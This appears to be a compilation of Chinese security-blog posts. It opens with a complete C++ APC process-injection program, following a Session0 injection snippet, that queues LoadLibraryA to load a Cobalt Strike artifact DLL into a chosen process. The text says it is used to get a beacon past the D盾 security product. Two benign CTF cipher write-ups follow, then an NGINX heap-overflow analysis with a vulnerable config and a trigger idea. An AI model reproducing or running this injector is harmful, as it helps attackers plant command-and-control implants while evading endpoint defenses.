MessageBox(NULL, L"fail!", L"BypassSession0Injection", MB_OK);
}
else {
MessageBox(NULL, L"success!", L"BypassSession0Injection", MB_OK);
}
return 0;
}
选择D盾开刀
CS上线
APC注入
APC机制
在Windows系统中,APC机制是一种并发机制,用于异步IO或者定时器,每个线程都会维护一个线程APC队列,通过QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该函数处于可通知的状态,调用顺序为先入先出。
WinAPI介绍
QueueUserAPC函数:将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中
DWORD WINAPI QueueUserAPC(
_In_ PAPCFIMC pfnAPC,
_In_ HANDLE hThread,
_In_ ULONG_PTR dwData
)
操作过程
通过OpenProcess函数打开目标进程,获取目标进程的句柄
遍历线程快照,获取所有线程ID
调用VirtualAllocEx函数在目标进程中申请内存,再调用WriteProcessMemory写入DLL路径
遍历获取的线程ID,并调用OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄
并调用QueueUserAPC函数向每个线程插入APC函数,设置APC函数的地址为LoadLibraryA函数的地址,APC函数参数为上述DLL路径地址
唤醒任意线程,即可执行APC,完成DLL的APC注入
// APCInjection.cpp
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
void PrintError(const char* errContext) {
char Error[MAX_PATH] = { 0 };
::sprintf_s(Error, "%s Error[%d]\n", errContext, ::GetLastError());
::MessageBoxA(NULL, Error, "ERROR", MB_OK);
}
// 获取指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) {
// 申请空间
DWORD dwThreadIdListLength = 0; // 线程数组的索引
DWORD dwThreadIdListMaxCount = 2000; // 最大线程数
LPDWORD pThreadIdList = NULL; // 链表的头部
// LPDWORD: 指向DWORD的指针
HANDLE hThreadSnap = INVALID_HANDLE_VALUE; // 线程句柄
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// NULL未指定起始地址
if (pThreadIdList == NULL) {
return FALSE;
}
// 初始化为0
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);
// 遍历所有THREADENTRY32结构,按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while(bRet)
{
if(th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength; // 捕获的线程快照个数
*ppThreadIdList = pThreadIdList; // 线程地址的数组
return TRUE;
}
BOOL APCInjection(HANDLE hProcess, CHAR* wzDLLFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{ // (指定进程, DLL路径, 线程链表的头部, 链表长度)
// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, NULL, page_size,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
PrintError("VirtualAllocEx - Error\n\n");
// 释放空间
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
// 关闭
CloseHandle(hProcess);
return FALSE;
}
// 将DLL路径写入到内存中
BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, lpAddr,
wzDLLFullPath, (strlen(wzDLLFullPath) + 1) * sizeof(wzDLLFullPath), NULL);
if (isWriteSuccess == FALSE)
{
PrintError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_COMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 获得LoadLibraryA的地址
PVOID LoadLibraryAddress = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
// PVOID: void*
// 遍历线程链表, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--) {
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)LoadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) {
fail++;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
float FailRate = dwThreadIdListLength / fail;
if ((int)fail == 0 || FailRate > 0.5) {
printf("Successful! APC Injection!\n");
return TRUE;
}
else {
printf("Fail!\n");
return FALSE;
}
}
int main()
{
DWORD PID = 10544;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
#ifdef _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll");
#else
strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll");
#endif
BOOL isGetProcessThreadList = GetProcessThreadList(PID, &pThreadIdList, &dwThreadIdListLength);
if (!isGetProcessThreadList)
{
printf("Can't list the threads\n");
exit(0);
}
// 打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, PID);
if (hProcess == NULL) {
printf("Failed to open Process\n");
return FALSE;
}
// 注入
BOOL isInjectSuccess = APCInjection(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength);
if (!isInjectSuccess) {
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
拿D盾开刀:
还是CS上线
[CTF] rootme靶场-Polybius
题目地址
https://www.root-me.org/fr/Challenges/Cryptanalyse/Substitution-monoalphabetique-Polybe前言
最近一直在学密码学,但是大多理论知识太过枯燥,所以就直接找了些密码学相关题进行学习研究,理论为辅,实战为主!固定复盘习惯,防止刷完就忘,所以便想着记录下来,开始沉淀属于自己的密码学知识体系!
正文
命题
一个奇怪的人在买了一卷来源可疑的卷轴后联系了你......他指望你敏锐的头脑来解读这条信息!你必须动用所有密码分析能力。
前置文件分析
题目相关资料里有一个 PDF:
PDF 的核心主题是 Le carré de Polybe,也就是 Polybius square / 波利比奥斯方阵。
PDF浅析:它把 Polybius 方阵归类为一种很基础的 单表替换密码 ->就是每个明文字母都有一个固定替换结果,并且在全文中保持不变。
文章不需要看的很懂,只需要知道这道题考的啥?命题中的(他指望你敏锐的头脑来解读这条信息!)就是需要把这段密文解密出来就行了,具体考的啥加密,PDF也写的很明白了(Polybius)
Polybius了解
什么是波利比奥斯方阵?
波利比奥斯方阵(Polybius Square)是一种经典的加密方法,最早由古希腊学者波利比奥斯提出。它的基本原理是通过一个方阵,将字母与数字(通常是2位数字)对应起来,从而实现加密和解密。加密时,明文中的每个字母都被替换为方阵中对应字母的行和列的坐标。解密时,接收到的数字坐标会根据预设的方阵找到对应的字母。
波利比奥斯方阵如何加密?
确定字母表、行数和列数: 在加密之前,首先需要确定字母表(支持多种语言)、行数和列数;同时,还可以选择使用的分隔符(例如,逗号、空格等)。
生成方阵: 根据字母表、行数和列数,自动生成对应的波利比奥斯方阵,方阵中每个字符都会被分配一个行列坐标。
加密过程:将明文中的每个字母按照行列坐标替换,结果是用数字对(行列坐标)来表示明文。
输出密文: 最终的密文是由数字对组成的字符串。
示例
对于标准的26个英文字母“ABCDEFGHIJKLMNOPQRSTUVWXYZ”,通常使用5行5列的方阵:
明文“HELLO”的加密过程:
H -> (2, 3)
E -> (1, 5)
L -> (3, 1)
L -> (3, 1)
O -> (3, 4)
所以,“HELLO”加密后的密文是“23 15 31 31 34”。
波利比奥斯方阵如何解密?
确定字母表、行数和列数: 解密时,首先需要知道字母表、行数和列数,以便构建正确的方阵。
解析数字对: 密文是由数字对(行列坐标)组成的,每个数字对对应一个字母。根据密文中的数字对,在方阵中查找相应的字母。
输出明文:把查找到的字母组合起来输出最终的明文。
示例
如果收到密文“23 15 31 31 34”,根据上述方阵查找:
23 -> H
15 -> E
31 -> L
31 -> L
34 -> O
解密后的明文是:HELLO。
加密和解密流程:
PDF 对这个方法的思路可以概括成两步。
加密时:
先准备一个 5x5 字母表。
找到每个明文字母所在的位置。
用“行号 + 列号”替换这个字母。
解密时反过来:
把密文按两个字符一组拆开。
每组坐标定位到方阵里的一个格子。
读出格子里的字母。
所以只要看到一串东西像这样:
11 22 35 44 15
或者像本题这样:
b3 a3 d1 c2 b1
第一反应就应该是:它可能不是普通文本,而是坐标。
a b c d e
1 2 3 4 5
这非常像一个改写版的 5x5 坐标系统:
1 2 3 4 5
+-----------------------
a | a1 | a2 | a3 | a4 | a5
b | b1 | b2 | b3 | b4 | b5
c | c1 | c2 | c3 | c4 | c5
d | d1 | d2 | d3 | d4 | d5
e | e1 | e2 | e3 | e4 | e5
也就是说,题目把传统的:
11 12 13 14 15
21 22 23 24 25
...
改成了:
a1 a2 a3 a4 a5
b1 b2 b3 b4 b5
...
所以 b3a3d1 不应该看成 6 个独立字符,而应该拆成:
b3 / a3 / d1
这一步就是本题最重要的前置判断。
本题的坐标和明文字母之间不是标准顺序,而是被重新打乱过。而且笔者还拿去对应网站试过,是无法直接套出来的
根据最终的密文分析出:
b3 -> c
a3 -> e
d1 -> s
如果按普通标准表,b3 应该是等于12 3。这说明题目不是单纯的标准 Polybius,而是:
Polybius 坐标外壳 + 打乱后的单表替换
前置文件只能帮我们识别“它是坐标型密文”,但不能直接给出最终明文。真正解题还需要做频率分析。题目的核心思路只有三步:
先识别密文的最小单位不是单个字符,而是像 b3 这样的坐标对。
再利用法语高频词,把这些坐标对还原成明文字母。
最后把整篇密文回代,解密那段密文得到明文便可得到flag!
结构分析:
先看密文长什么样
题目文件里的内容大概是这样:
b3a3d1 c2b1e3d4d3d1 a4e5c5b1e3c2a3d1 ...
先注意两个现象:
里面只出现 a-e 和 1-5。
每个“词”长度几乎都是偶数。
这说明它不是普通字母表,而是把“一个字母”编码成了“两个字符”的坐标。
比如:
b3a3d1 -> [b3][a3][d1]
也就是说,真正的解密单位是 b3、a3、d1 这种二元坐标。
1 2 3 4 5
+-----------------------
a | a1 | a2 | a3 | a4 | a5
b | b1 | b2 | b3 | b4 | b5
c | c1 | c2 | c3 | c4 | c5
d | d1 | d2 | d3 | d4 | d5
e | e1 | e2 | e3 | e4 | e5
在这种写法里,b3 就表示“第 b 行,第 3 列”。 题目给你的密文,实际上就是把明文字母替换成了这种坐标。
注意:本题里并不是所有格子都被用到,e4 没有出现,所以咱们不需要去分析未被使用过的密文
在整篇密文里,每个符号始终对应同一个明文字母。 例如如果 e3 代表 a,那么全文里所有 e3 都应该还是 a。
法语里 e 出现特别多。
常见短词有 de、et、la、le、que。
单字母词在法语里也很有用,比如 a。
所以只要统计密文里“谁最常见、谁是短词、谁的重复模式像法语”,就能开始反推。
先抓最明显的词:
这里一定要分清两个统计对象:
坐标频率:统计 a3、d1、e5 等等这种单个高频坐标出现了多少次。
词频:统计 d3a3、c4e3、a3a1 等等这种高频完整密文词出现了多少次。
通过代码计算汇总,坐标频率最高的几个是:
import re
from collections import Counter
from pathlib import Path
# 读取密文文件
text = Path("ch12.txt").read_text(encoding="utf-8")
# 提取所有坐标对,比如 a3、d1、e5
pairs = re.findall(r"[a-e][1-5]", text)
# 统计频率
counter = Counter(pairs)
# 输出前 5 个
print("| 坐标 | 出现次数 ")
print("| --- | ---: |")
for pair, count in counter.most_common(5):
print(f"| `{pair}` | {count} |")
通过代码计算汇总,词频最高的几个是:
import re
from collections import Counter
from pathlib import Path
text = Path("ch12.txt").read_text(encoding="utf-8")
# 提取完整密文词
words = re.findall(r"(?:[a-e][1-5])+", text)
# 统计词频
counter = Counter(words)
# 输出前 10 个最高频密文词
print("=== 密文词频 Top 10 ===")
for i, (word, freq) in enumerate(counter.most_common(10), 1):
print(f"{i:2}. {word:20} {freq}")
穷举评分证明
笔者这次采用的方法,不是直接凭感觉猜字母,而是“先统计、再筛选、再打分、最后回代验证”。就是先用代码统计密文里哪些坐标、哪些短词最常出现,再把这些高频坐标与法语里常见的高频字母、高频功能词做候选匹配,看哪一种映射能同时解释更多高频词,最后再把得分最高的候选回代到原文中,检查是否能形成通顺的法语句子。
上ai联网搜索法语频率排行榜:
排名 字符 出现频率
1 e 14.47%
2 s 7.98%
3 a 7.60%
4 n 7.32%
5 i 7.21%
6 t 7.11%
7 r 6.86%
8 l 5.86%
9 u 5.55%
10 o 5.39%
11 d 4.08%
12 c 3.39%
13 p 2.98%
14 m 2.78%
15 é 2.43%
16 v 1.29%
17 g 1.18%
18 f 1.12%
19 b 0.96%
20 h 0.93%
21 q 0.85%
22 à 0.43%
23 x 0.43%
24 è 0.42%
25 y 0.34%
26 j 0.30%
27 k 0.16%
28 ê 0.13%
29 z 0.10%
30 w 0.08%
31 â 0.05%
32 ç 0.05%
33 ô 0.05%
34 î 0.04%
35 œ 0.02%
36 ù 0.02%
37 û 0.02%
38 ï 0.01%
我们真正已经知道的事实只有两个:
a3 是全文出现次数最多的坐标,频次是 6443。
单表替换会保留“谁最常出现”这个整体趋势。那么可以根据ai联网搜索的排行榜:假设a3 为e,不过呢这里仍然不是最终证明;它只是“最优先验证的候选映射”。真正让这个判断成立的,不是这一步本身,而是它带来的后续连锁验证。
上ai联网搜索与e结合的高频词排行榜:
假如a3 = e,则最高频双坐标词通过高频对比:d3a3 -->de
假如a3 = e,则a3a1变成 e?通过高频对比:--> et
把这些结果继续回代到开头句子里,还能推出一整串正常法语
代码统计先证明 a3 是最高频坐标,法语字母频率说明最高频坐标最值得优先验证成 e,后续词频和整句回代再把这个假设验证为成立,最终能得到以下表:
这张表才是真正开始破题的地方。
d3a3 是全篇最高频的双坐标词,频次 377。如果把前面的统计结论 a3 = e 带进去,它就变成 ?e。法语正文里最常见、最值得优先验证的两字母词之一就是 de,所以首先检查 d3a3 = de 是否成立;一旦成立,就能得到 d3 = d。
e3 是一个单坐标词,频次 234。法语里常见单字母词主要是 a、y,而在这种散文正文里 a 的频率通常远高于 y,所以 e3 = a 是更优先验证的候选。
c4e3 出现 182 次。如果前一步 e3 = a 成立,那么它的形状就是 ?a。法语高频短词里,最常见且最值得先检验的就是 la,因此再验证 c4 = l。
a3a1 出现 174 次。如果 a3 = e 已经被前两步支持,那么它就变成 e?。法语里最常见的两字母高频词之一就是 et,因此可继续验证 a1 = t。
这时我们已经有了一批比较稳的基础映射:
a3 = e
d3 = d
e3 = a
c4 = l
a1 = t
把这些候选映射连续回代到原文里,看它们能不能稳定地产生高频法语词,并最终拼出通顺句子。
用开头四个词把表补起来:
把前几个长词直接回代,明文会很快显形。把它按“已知字母 + 未知字母”的形式进行迭代。
拿文章开头前四个词进行验证
把已经得到的映射填进去:
b3a3d1 -> ?e?
c2b1e3d4d3d1 -> ??a?d?
a4e5c5b1e3c2a3d1 -> ????a?e?
b3a4b4e1e3b1a3d1 -> ????are?
先看第一个词 b3a3d1 -> ?e?。文章开头是一个三字母词,第二个字母是 e。法语里常见的开头词可以是 les、des、ces、ses。但是只靠这一个词还不能定,先放着。
把前四个词连在一起看,目前只有这些形状:
?e? ??a?d? ????a?e? ????are?
继续看第二个词。
c2b1e3d4d3d1 -> ??a?d?。如果最后两个坐标 d3d1 里面 d3 = d,那么这个词尾是 d?。法语形容词里非常常见的六字母词 grands 正好是:
g r a n d s
c2 b1 e3 d4 d3 d1
这样能一次补出:
c2 = g
b1 = r
d4 = n
d1 = s
有了 d1 = s,第一个词立刻变成:
b3a3d1 -> ?es
在 ?es grands ouvrages 这个语境里,最顺的是 ces grands ouvrages。后续也有ai联网证明,于是:
b3 = c
再看第三个词:
a4e5c5b1e3c2a3d1 -> ???rages
它的尾巴已经确定是 rages,而且前面句子是:
ces grands ???rages
到这一步就不需要盲测了,ai联网搜索一下:
a4e5c5b1e3c2a3d1 -> ouvrages
于是补出:
a4 = o
e5 = u
c5 = v
第四个词再回代:
b3a4b4e1e3b1a3d1 -> co??ares
继续ai联网搜索:
b4 = m
e1 = p
现在开头四个词就能完整读出来:
ces grands ouvrages compares
如果再往后多看四个词,验证会更强:
e3e5 -> au
b3a4b1e1d1 -> corps
b2e5b4e3d2d4 -> humain
d1a3b4c3c4a3d4a1 -> semblent
连起来就是:
ces grands ouvrages compares au corps humain semblent
继续补出更多字母:
把已有映射回代到高频词里:
假如如果前面的 a3 = e、e3 = a、c4 = l 有一个错了,这里就不会连续冒出 le、les、de、et、est、un、que、qui 这么多正常法语词,所以前面的高频穷举目前没有问题。
例 1:votre
c5a4a1b1a3 -> votre
这个词其实大部分字母已经由 ouvrages 和 grands 带出来了:
c5 = v
a4 = o
a1 = t
b1 = r
a3 = e
v-o-t-r-e 全部能对上,证明前面的 v/o/t/r/e 没有冲突。
例 2:freres
e2b1a3b1a3d1 -> ?reres
这个词的结构很特别:第 2 位和第 4 位都是 r,第 3 位和第 5 位都是 e,最后是 s。在文章主题里又经常谈到“兄弟”,所以 ?reres -> freres。
于是补出:
e2 = f
例 3:maintenant
b4e3d2d4a1a3d4e3d4a1 -> ma?ntenant
这里的判断更直观。b4 = m、e3 = a、d4 = n、a1 = t、a3 = e 已经有了,只剩中间的 d2。ai联网证明 ma?ntenant ->maintenant,所以:
d2 = i
这个结论还会被 d2c4 -> il、c1e5d2 -> qui 反复验证。
例 4:toujours
a1a4e5a2a4e5b1d1 -> tou?ours
t o u ? o u r s 这个形状非常明显,法语高频词就是 toujours,所以:
a2 = j
到这里,常见字母基本齐了。剩下的 b、h、x、y、z 这类低频字母,是不可能一眼看出来的,法语生的话就当我没说过这句话,通常是在全文回代到九成可读以后,从个别词里补出来。笔者是没有任何法语基础的,某些词都是靠ai翻译得出的。
完整映射表:
最终得到的对应关系如下:
a1 -> t a2 -> j a3 -> e a4 -> o a5 -> z
b1 -> r b2 -> h b3 -> c b4 -> m b5 -> x
c1 -> q c2 -> g c3 -> b c4 -> l c5 -> v
d1 -> s d2 -> i d3 -> d d4 -> n d5 -> y
e1 -> p e2 -> f e3 -> a e5 -> u
最终解密之后的明文:
结尾:
这道题给笔者的感觉就是像js逆向的字体反爬,都是通过映射即可解决。
[CTF] SamsClass靶场-Obfuscation0
题目地址:
https://attack.samsclass.info/ob/ob0.htm题目翻译
挑战:代码混淆 0
下方登录页面并未采用 HTTPS 加密传输,但它会对账号密码做混淆加密处理,因此你无法在抓包工具中直接读取明文账号密码。
你的任务:逆向破解这套混淆加密逻辑。
理清加密原理后,分析提供的 pcap 抓包文件,找出真实正确的账号密码,完成登录。
你可以独立解题;如果需要解题提示,往下翻阅。
JavaScript 混淆逆向入门教程
在登录框输入测试账号:用户名admin,密码password,用 Wireshark 抓下 HTTP POST 请求数据包。
抓包底部会出现分行文本数据,包含两个传参字段:
xi=benjo
xp=qbttxpse
想要弄懂加密逻辑,查看网页的 HTML 源代码即可。
登录表单说明
页面登录表单中:账号输入框字段名为id,密码输入框字段名为pw。
点击登录按钮时,表单提交事件onsubmit会执行一段名为obfuscate()的 JavaScript 混淆加密函数。
最重要的一点就是分析pcap文件
So to deobfuscate the credentials, open the pcap file and move each character one letter backwards in the alphabet to find the correct credentials.
When you get it right, you'll be able to log in and see this page:
正文
这道题考的就是简单的逆向分析,前端代码没有进行任何混淆,加密也能随意复现,在安全的角度考虑,此题可以有多种通过方式。
随意输入账号密码抓包
返回的响应是访问被拒绝,通过题目意思可知正确的账号密码放在客户端
找到登录按钮事件去全局搜索
obfuscate函数收集的是scramble函数处理之后的值,这说明浏览器最终提交了 4 个字段,混淆后的用户名,混淆后的密码,原始用户名被清空,原始密码被清空。如此可证明有用的便是混淆后的用户名,混淆后的密码,接下来分析混淆加密函数scramble
scramble函数的意义就是输入一个字符串,把其中每个字符的 ASCII/Unicode 编码加 1,得到新字符串。后续解密可以通过加密反推解密
// 定义混淆加密函数scramble,接收字符串参数text(原始账号/密码)
function scramble(text)
{
// 初始化空字符串output,用来存放加密完成后的结果
var output = "";
// for循环:x作为索引,从0开始,循环到字符串最后一位(小于字符串总长度)
for(x=0; x<text.length; x++)
{
// 分步拆解:
// text.charCodeAt(x):取出当前下标x字符对应的ASCII码
// + 1:ASCII码数值加1,字符向后偏移一位(凯撒密码偏移1)
// String.fromCharCode():把计算后的ASCII数字转回对应字符
// += 拼接到输出字符串末尾
output += String.fromCharCode(text.charCodeAt(x) + 1);
}
// 循环结束,返回全部字符移位后的密文字符串
return output;
}
发包逻辑,加密混淆都分析完了,接下来就是分析pcap文件
certutil -encodehex ob0.pcap -
输入长度 = 751
输出长度 = 3477
CertUtil: -encodehex 命令成功完成。
查看十六进制,xi=Tuvefou&xp=Tfdsfu&id=&pw=
第一种方式:通过加密函数写反推
已知源码规则:
明文字符 + 1 = 混淆字符
那么:
混淆字符 - 1 = 明文字符
所以:
Tuvefou -> Student
Tfdsfu -> Secret
py代码:
def descramble(text):
return ''.join(chr(ord(c) - 1) for c in text)
print(descramble("Tuvefou"))
print(descramble("Tfdsfu"))
得到账号是Student,密码是Secret
第二种方法便是通过js去hook 不做
hook代码:
obfuscate = function () {
document.form.xi.value = "Tuvefou";
document.form.xp.value = "Tfdsfu";
document.form.id.value = "";
document.form.pw.value = "";
return true;
}
通过
CVE-2026-42945 深度解析 NGINX Rift :潜伏18年的堆溢出漏洞分析与防御指南
在全球互联网基础设施的底层架构中,NGINX 凭借其极致的异步非阻塞事件驱动模型和极低的内存消耗,长期占据着 Web 服务器、反向代理、负载均衡器以及 API 网关领域的统治地位。NGINX的安全性影响全球数以千万计在线服务。2026年5月13日,一项被正式命名为 “NGINX Rift” 的严重内存破坏漏洞(CVE-2026-42945)的公开披露,在网络安全业界引发了强烈的震动。
该漏洞极其罕见地在 NGINX 的核心源码库中潜伏了大约 18 年之久(据溯源分析,该缺陷最早在 2008 年左右的提交中被引入),波及了从 0.6.27 早期版本一路延伸至 1.30.0 的几乎所有 NGINX Open Source 迭代分支,同时 NGINX Plus 商业版也未能幸免 。作为一个潜藏极深的基于堆的缓冲区溢出漏洞,它存在于被极为高频使用的 URL 重写模块(ngx_http_rewrite_module)中 。在极具普遍性的特定配置模式下,未经身份验证的远程攻击者仅需发送一个精心构造的单一 HTTP 请求,即可稳定触发该溢出漏洞,导致 NGINX 工作进程(Worker
漏洞分析
根据 F5 官方安全公告(K000161019)以及美国国家漏洞数据库(NVD)的权威评估,NGINX Rift 漏洞在最新的通用漏洞评分系统(CVSS)4.0 标准下获得了 9.2 分的极危(Critical)评级,在 CVSS 3.1 标准下亦达到了 8.1 分的高危(High)水平 。这一评分的内在逻辑深刻反映了该漏洞的破坏力。
受影响版本
该漏洞的波及范围不仅局限于独立部署的 NGINX 服务,更深刻影响了全球主要 Linux 发行版的官方软件源以及基于 Kubernetes 的云原生网络入口控制器。由于该缺陷代码早在 2008 年便已合入主线,这意味着过去 18 年间发布的大量长期支持(LTS)版本均携带此隐患 。
值得高度警惕的是,众多 Kubernetes 集群仍在使用官方主线停止维护的 kubernetes/ingress-nginx 控制器。由于该控制器的底层镜像硬编码并静态嵌入了NGINX 1.27.1 版本,集群管理员无法通过简单地升级宿主机的 NGINX 安装包来解决此问题,必须更换或重新编译入口控制器镜像。这种容器化带来的底层依赖固化,在遇到此类持续时间极长、潜藏极深的超期漏洞时,暴露出供应链安全响应的迟滞风险。
NGINX底层请求处理架构与漏洞产生的原因
为了彻底解析 NGINX Rift 漏洞的技术肌理,有必要深入剖析 NGINX 处理 HTTP 流量的内部架构及其精妙的内存管理哲学。NGINX 并不为每一个传入的连接生成新的线程或进程,而是采用单线程的事件循环(Event Loop)配合非阻塞 I/O 来处理成千上万的并发连接。
在这种架构下,配置文件的解析与请求路由成为至关重要的一环。ngx_http_rewrite_module 是 NGINX 体系中最复杂、最强大的核心模块之一。它允许管理员利用 PCRE(Perl-Compatible Regular Expressions)正则表达式在请求处理的极早期阶段(Server Rewrite Phase 和 Rewrite Phase)动态拦截、修改、重写传入的统一资源标识符(URI),甚至改变后续的处理走向 。在处理如 PHP 前端控制器(Front Controller)模式、WordPress 伪静态永久链接(Permalinks),或是作为 API 网关桥接
在内存分配策略上,NGINX 摒弃了频繁调用操作系统层面 malloc 和 free 的低效做法,转而实现了一套基于内存池(Memory Pool, ngx_pool_t)的高效机制。当一个新的 HTTP 请求接入时,NGINX 会为其创建一个独立的请求内存池。在处理该请求生命周期内的所有小块内存分配(如保存解析后的 HTTP 头、动态生成的 URI 字符串等),都会直接从这个预先申请的大块连续内存页中切割。这种设计极大地降低了内存碎片和分配开销。然而,正是这种将多次分配集中在一个连续内存空间中的设计,使得一旦发生逻辑上的计算谬误导致缓冲区越界写入,溢出的字节会直接覆盖并污染同一内存池中紧邻的
CVE-2026-42945 核心成因
DepthFirst团队在漏洞研究报告中详细揭示了 NGINX Rift 的根本原因。这是一个典型且极其复杂的计算逻辑脱节漏洞,其核心在于 NGINX 的内部脚本引擎(Script Engine)在处理特定的变量重组时,对目标内存长度的“预判(Estimation)”与最终的“执行写入(Execution)”之间,存在基于上下文标志位(Context Flags)的严重不对等。
触发路径的特定“配置”
漏洞并非在 NGINX 的常规运行中随机产生,它宛如一把必须通过特定配置齿轮才能咬合转动的复杂暗锁。研究表明,必须同时满足以下三个配置维度的条件,漏洞代码路径才会被激活 :
存在未命名的 PCRE 正则捕获:在 rewrite 指令的正则表达式中,使用了未命名的捕获组,随后在配置逻辑中通过系统自动分配的数字变量(如 $1, $2)进行引用。
替换字符串引入查询参数机制:在目标替换字符串(Replacement String)中嵌入了问号(?)。在 NGINX 的路由语义中,这标志着 URI 路径与查询参数(Query String)的分界,NGINX 会据此改变对后续字符的转义处理逻辑。
同一作用域下的指令链式调用:在这个存在隐患的 rewrite 指令之后,在同一个配置块(Scope)内,必须紧跟另一个触发脚本引擎重新评估的指令,通常是另一个 rewrite,或者是 if 逻辑判断,亦或是 set 变量赋值指令 。
一个能够精准命中上述所有脆弱条件的真实生产环境配置切片如下所示:
# 典型的 API 网关或应用重写逻辑
location /api/v1/ {
# 步骤一与二:正则表达式使用 (.*) 产生未命名捕获 $1,替换字符串包含? 号
rewrite ^/api/v1/(.*)$ /internal_router.php?route=$1;
# 步骤三:紧跟一个 set 指令,触发双重遍历引擎的上下文混乱
set $backend_cluster "legacy_nodes";
}
双重遍历引擎的逻辑错误
当攻击者向具备上述配置的 NGINX 节点发送包含特殊荷载的 HTTP 请求时,NGINX 将进入其内置的脚本求值流程。位于 src/http/ngx_http_script.c 源码文件中的底层机制被唤醒。由于指令链条的复杂性,NGINX 需要对重写目标进行两次遍历操作 :
第一遍遍历:长度分配的短视计算 引擎必须首先计算出需要多大的目标缓冲区来容纳重写后的 URI。此时,系统调用了 ngx_http_script_complex_value_code 函数。至关重要的是,为了进行纯粹的长度评估,NGINX 在这一步实例化并传入了一个被完全清零初始化的“子引擎(Sub-engine)”结构体 。 在这个被清零的子引擎上下文中,一个名为 is_args 的关键标志位被默认为 0。当子引擎进一步调用 ngx_http_script_copy_capture_len_code 去测量正则表达式捕获的内容(即攻击者传入的恶意 $1 变量)时,由于 is_args 为 0,
第二遍遍历:数据写入的转义膨胀 一旦空间分配完毕,执行流程随即切换到第二遍的实际数据拷贝阶段。此时,操作权交还给了保留完整上下文状态的“主引擎(Main engine)”。 在主引擎的上下文中,由于之前的替换字符串中显式包含了 ? 符号,系统正确识别到当前正在处理 URI 的查询参数区域,因此 is_args 标志位被正确地保持为 1。 当程序执行到 ngx_http_script_copy_capture_code 准备将攻击者的数据拷贝入刚刚分配的缓冲区时,悲剧发生了。由于检测到 is_args 为 1,NGINX 强制介入了参数转义流程,调用了底层的 ngx_escape_uri 函数,
在 NGX_ESCAPE_ARGS 转义模式下,根据相关 RFC 标准,特定的字符必须被编码以保证安全传输。例如:
空格会被转化为 + 或 %20。
字符 +、% 和 & 等会被展开为三字节的十六进制表示形式(如 % 会被重新转义为 %25)。
致命的算术冲突与内存覆写:
假设攻击者发送的请求 URI 中包含了 1000 个连续的 % 字符。
计算阶段:子引擎认为这是一个长度为 1000 字节的数据块,向内存池申请了 1000 字节的目标缓冲区。
写入阶段:主引擎在拷贝过程中,对这 1000 个 % 字符执行 NGX_ESCAPE_ARGS 转义,每一个 % 都被转换成了长达 3 个字节的 %25 字符串。最终,主引擎试图将高达 3000 字节的数据强行塞入仅仅分配了 1000 字节的内存块中 。
这导致了多达 2000 字节的高强度越界写入。由于越界写入的字节流实质上是对攻击者原始输入的转义版本,这意味着内存覆写的内容并不是完全的乱码,而是由攻击者高度可控的数据载荷构成的,这种“可控的内存破坏(Controllable Corruption)”正是将其转化为严重安全漏洞的核心原因 。
漏洞利用进阶:从拒绝服务到远程代码执行
了解了 NGINX Rift 漏洞的根本成因后,有必要进一步剖析攻击者是如何在实战环境中运用这一缺陷的。根据底层操作系统环境的防御纵深配置不同,该漏洞能够造成的破坏程度呈现出巨大的两极分化态势。
拒绝服务(DoS)稳定利用
对于绝大多数开启了现代内存保护机制的系统而言,漏洞最直观和最可靠的表现形式是拒绝服务。由于 NGINX 采用 Master-Worker 多进程架构,工作进程(Worker)负责处理具体的网络请求连接。
